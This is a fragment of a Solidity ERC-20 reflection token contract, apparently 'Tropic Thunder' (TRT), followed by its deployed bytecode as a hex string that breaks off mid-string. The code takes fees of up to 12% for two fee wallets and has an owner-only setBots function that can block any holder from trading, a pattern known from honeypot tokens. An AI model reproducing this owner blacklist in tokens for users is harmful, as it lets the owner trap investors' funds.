function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 0;
_teamFee = 10;
if (from != owner() && to != owner() && from != address(this) && to != address(this)) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp, "Cooldown");
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 3;
_teamFee = 9;
}
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= 4e9 * 10**9);
require(cooldown[from] < block.timestamp, "Cooldown");
cooldown[from] = block.timestamp + (2 minutes);
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2e9 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x6080604052600436106101185760003560e01c8063715018a6116100a0578063c3c8cd8011610064578063c3c8cd8014610398578063c9567bf9146103af578063d543dbeb146103c6578063dd62ed3e146103ef578063e8078d941461042c5761011f565b8063715018a6146102c55780638da5cb5b146102dc57806395d89b4114610307578063a9059cbb14610332578063b515566a1461036f5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610443565b6040516101469190612f72565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190612a9c565b610480565b6040516101839190612f57565b60405180910390f35b34801561019857600080fd5b506101a161049e565b6040516101ae91906130f4565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d99190612a49565b6104af565b6040516101eb9190612f57565b60405180910390f35b34801561020057600080fd5b5061021b600480360381019061021691906129af565b610588565b005b34801561022957600080fd5b50610232610678565b60405161023f9190613169565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a9190612b25565b610681565b005b34801561027d57600080fd5b50610286610733565b005b34801561029457600080fd5b506102af60048036038101906102aa91906129af565b6107a5565b6040516102bc91906130f4565b60405180910390f35b3480156102d157600080fd5b506102da6107f6565b005b3480156102e857600080fd5b506102f1610949565b6040516102fe9190612e89565b60405180910390f35b34801561031357600080fd5b5061031c610972565b6040516103299190612f72565b60405180910390f35b34801561033e57600080fd5b5061035960048036038101906103549190612a9c565b6109af565b6040516103669190612f57565b60405180910390f35b34801561037b57600080fd5b5061039660048036038101906103919190612adc565b6109cd565b005b3480156103a457600080fd5b506103ad610af7565b005b3480156103bb57600080fd5b506103c4610b71565b005b3480156103d257600080fd5b506103ed60048036038101906103e89190612b7f565b610c23565b005b3480156103fb57600080fd5b5061041660048036038101906104119190612a09565b610d6c565b60405161042391906130f4565b60405180910390f35b34801561043857600080fd5b50610441610df3565b005b60606040518060400160405280600e81526020017f54726f706963205468756e646572000000000000000000000000000000000000815250905090565b600061049461048d6112e4565b84846112ec565b6001905092915050565b6000683635c9adc5dea00000905090565b60006104bc8484846114b7565b61057d846104c86112e4565b6105788560405180606001604052806028815260200161384760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061052e6112e4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d149092919063ffffffff16565b6112ec565b600190509392505050565b6105906112e4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461061d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061490613074565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106896112e4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610716576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070d90613074565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107746112e4565b73ffffffffffffffffffffffffffffffffffffffff161461079457600080fd5b60004790506107a281611d78565b50565b60006107ef600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e73565b9050919050565b6107fe6112e4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461088b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088290613074565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5452540000000000000000000000000000000000000000000000000000000000815250905090565b60006109c36109bc6112e4565b84846114b7565b6001905092915050565b6109d56112e4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5990613074565b60405180910390fd5b60005b8151811015610af357600160066000848481518110610a8757610a866134b1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aeb9061340a565b915050610a65565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b386112e4565b73ffffffffffffffffffffffffffffffffffffffff1614610b5857600080fd5b6000610b63306107a5565b9050610b6e81611ee1565b50565b610b796112e4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfd90613074565b60405180910390fd5b6001601160146101000a81548160ff021916908315150217905550565b610c2b6112e4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caf90613074565b60405180910390fd5b60008111610cfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf290613014565b60405180910390fd5b610d2a6064610d1c83683635c9adc5dea0000061216990919063ffffffff16565b6121e490919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601254604051610d6191906130f4565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610dfb6112e4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7f90613074565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f1830601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112ec565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5e57600080fd5b505afa158015610f72573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f9691906129dc565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff857600080fd5b505afa15801561100c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061103091906129dc565b6040518363ffffffff1660e01b815260040161104d929190612ea4565b602060405180830381600087803b15801561106757600080fd5b505af115801561107b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109f91906129dc565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611128306107a5565b600080611133610949565b426040518863ffffffff1660e01b815260040161115596959493929190612ef6565b6060604051808303818588803b15801561116e57600080fd5b505af1158015611182573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111a79190612bac565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550671bc16d674ec80000601281905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161128e929190612ecd565b602060405180830381600087803b1580156112a857600080fd5b505af11580156112bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112e09190612b52565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561135c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611353906130d4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c390612fd4565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114aa91906130f4565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611527576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151e906130b4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612f94565b60405180910390fd5b600081116115da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d190613094565b60405180910390fd5b6000600a81905550600a600b819055506115f2610949565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116605750611630610949565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561169857503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156116d057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c5157600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117795750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61178257600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561182d5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118835750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561189b5750601160179054906101000a900460ff165b1561199a57601160149054906101000a900460ff166118b957600080fd5b6012548111156118c857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611949576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194090613034565b60405180910390fd5b601e42611956919061322a565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006119a5306107a5565b9050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a525750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611aa85750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611abe576003600a819055506009600b819055505b601160159054906101000a900460ff16158015611b295750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b415750601160169054906101000a900460ff165b15611c4f57673782dace9d900000821115611b5b57600080fd5b42600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611bdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd390613034565b60405180910390fd5b607842611be9919061322a565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c3581611ee1565b60004790506000811115611c4d57611c4c47611d78565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611cf85750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d0257600090505b611d0e8484848461222e565b50505050565b6000838311158290611d5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d539190612f72565b60405180910390fd5b5060008385611d6b919061330b565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611dc86002846121e490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611df3573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e446002846121e490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e6f573d6000803e3d6000fd5b5050565b6000600854821115611eba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb190612fb4565b60405180910390fd5b6000611ec461225b565b9050611ed981846121e490919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f1957611f186134e0565b5b604051908082528060200260200182016040528015611f475781602001602082028036833780820191505090505b5090503081600081518110611f5f57611f5e6134b1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561200157600080fd5b505afa158015612015573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061203991906129dc565b8160018151811061204d5761204c6134b1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120b430601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112ec565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161211895949392919061310f565b600060405180830381600087803b15801561213257600080fd5b505af1158015612146573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b60008083141561217c57600090506121de565b6000828461218a91906132b1565b90508284826121999190613280565b146121d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d090613054565b60405180910390fd5b809150505b92915050565b600061222683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612286565b905092915050565b8061223c5761223b6122e9565b5b61224784848461232c565b80612255576122546124f7565b5b50505050565b600080600061226861250b565b9150915061227f81836121e490919063ffffffff16565b9250505090565b600080831182906122cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122c49190612f72565b60405180910390fd5b50600083856122dc9190613280565b9050809150509392505050565b6000600a541480156122fd57506000600b54145b156123075761232a565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b60008060008060008061233e8761256d565b95509550955095509550955061239c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125d590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061243185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461261f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061247d8161267d565b612487848361273a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124e491906130f4565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea000009050612541683635c9adc5dea000006008546121e490919063ffffffff16565b82101561256057600854683635c9adc5dea00000935093505050612569565b81819350935050505b9091565b600080600080600080600080600061258a8a600a54600b54612774565b925092509250600061259a61225b565b905060008060006125ad8e87878761280a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061261783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d14565b905092915050565b600080828461262e919061322a565b905083811015612673576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161266a90612ff4565b60405180910390fd5b8091505092915050565b600061268761225b565b9050600061269e828461216990919063ffffffff16565b90506126f281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461261f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61274f826008546125d590919063ffffffff16565b60088190555061276a8160095461261f90919063ffffffff16565b6009819055505050565b6000806000806127a06064612792888a61216990919063ffffffff16565b6121e490919063ffffffff16565b905060006127ca60646127bc888b61216990919063ffffffff16565b6121e490919063ffffffff16565b905060006127f3826127e5858c6125d590919063ffffffff16565b6125d590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612823858961216990919063ffffffff16565b9050600061283a868961216990919063ffffffff16565b90506000612851878961216990919063ffffffff16565b9050600061287a8261286c85876125d590919063ffffffff16565b6125d590919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006128a66128a1846131a9565b613184565b905080838252602082019050828560208602820111156128c9576128c8613514565b5b60005b858110156128f957816128df8882612903565b8452602084019350602083019250506001810190506128cc565b5050509392505050565b60008135905061291281613801565b92915050565b60008151905061292781613801565b92915050565b600082601f8301126129425761294161350f565b5b8135612952848260208601612893565b91505092915050565b60008135905061296a81613818565b92915050565b60008151905061297f81613818565b92915050565b6000813590506129948161382f565b92915050565b6000815190506129a98161382f565b92915050565b6000602082840312156129c5576129c461351e565b5b60006129d384828501612903565b91505092915050565b6000602082840312156129f2576129f161351e565b5b6000612a0084828501612918565b91505092915050565b60008060408385031215612a2057612a1f61351e565b5b6000612a2e85828601612903565b9250506020612a3f85828601612903565b9150509250929050565b600080600060608486031215612a6257612a6161351e565b5b6000612a7086828701612903565b9350506020612a8186828701612903565b9250506040612a9286828701612985565b9150509250925092565b60008060408385031215612ab357612ab261351e565b5b6000612ac185828601612903565b9250506020612ad285828601612985565b9150509250929050565b600060208284031215612af257612af161351e565b5b600082013567ffffffffffffffff811115612b1057612b0f613519565b5b612b1c8482850161292d565b91505092915050565b600060208284031215612b3b57612b3a61351e565b5b6000612b498482850161295b565b91505092915050565b600060208284031215612b6857612b6761351e565b5b6000612b7684828501612970565b91505092915050565b600060208284031215612b9557612b9461351e565b5b6000612ba384828501612985565b91505092915050565b600080600060608486031215612bc557612bc461351e565b5b6000612bd38682870161299a565b9350506020612be48682870161299a565b9250506040612bf58682870161299a565b9150509250925092565b6000612c0b8383612c17565b60208301905092915050565b612c208161333f565b82525050565b612c2f8161333f565b82525050565b6000612c40826131e5565b612c4a8185613208565b9350612c55836131d5565b8060005b83811015612c86578151612c6d8882612bff565b9750612c78836131fb565b925050600181019050612c59565b5085935050505092915050565b612c9c81613351565b82525050565b612cab81613394565b82525050565b6000612cbc826131f0565b612cc68185613219565b9350612cd68185602086016133a6565b612cdf81613523565b840191505092915050565b6000612cf7602383613219565b9150612d0282613534565b604082019050919050565b6000612d1a602a83613219565b9150612d2582613583565b604082019050919050565b6000612d3d602283613219565b9150612d48826135d2565b604082019050919050565b6000612d60601b83613219565b9150612d6b82613621565b602082019050919050565b6000612d83601d83613219565b9150612d8e8261364a565b602082019050919050565b6000612da6600883613219565b9150612db182613673565b602082019050919050565b6000612dc9602183613219565b9150612dd48261369c565b604082019050919050565b6000612dec602083613219565b9150612df7826136eb565b602082019050919050565b6000612e0f602983613219565b9150612e1a82613714565b604082019050919050565b6000612e32602583613219565b9150612e3d82613763565b604082019050919050565b6000612e55602483613219565b9150612e60826137b2565b604082019050919050565b612e748161337d565b82525050565b612e8381613387565b82525050565b6000602082019050612e9e6000830184612c26565b92915050565b6000604082019050612eb96000830185612c26565b612ec66020830184612c26565b9392505050565b6000604082019050612ee26000830185612c26565b612eef6020830184612e6b565b9392505050565b600060c082019050612f0b6000830189612c26565b612f186020830188612e6b565b612f256040830187612ca2565b612f326060830186612ca2565b612f3f6080830185612c26565b612f4c60a0830184612e6b565b979650505050505050565b6000602082019050612f6c6000830184612c93565b92915050565b60006020820190508181036000830152612f8c8184612cb1565b905092915050565b60006020820190508181036000830152612fad81612cea565b9050919050565b60006020820190508181036000830152612fcd81612d0d565b9050919050565b60006020820190508181036000830152612fed81612d30565b9050919050565b6000602082019050818103600083015261300d81612d53565b9050919050565b6000602082019050818103600083015261302d81612d76565b9050919050565b6000602082019050818103600083015261304d81612d99565b9050919050565b6000602082019050818103600083015261306d81612dbc565b9050919050565b6000602082019050818103600083015261308d81612ddf565b9050919050565b600060208201905081810360008301526130ad81612e02565b9050919050565b600060208201905081810360008301526130cd81612e25565b9050919050565b600060208201905081810360008301526130ed81612e48565b9050919050565b60006020820190506131096000830184612e6b565b92915050565b600060a0820190506131246000830188612e6b565b6131316020830187612ca2565b81810360408301526131438186612c35565b90506131526060830185612c26565b61315f6080830184612e6b565b9695505050505050565b600060208201905061317e6000830184612e7a565b92915050565b600061318e61319f565b905061319a82826133d9565b919050565b6000604051905090565b600067ffffffffff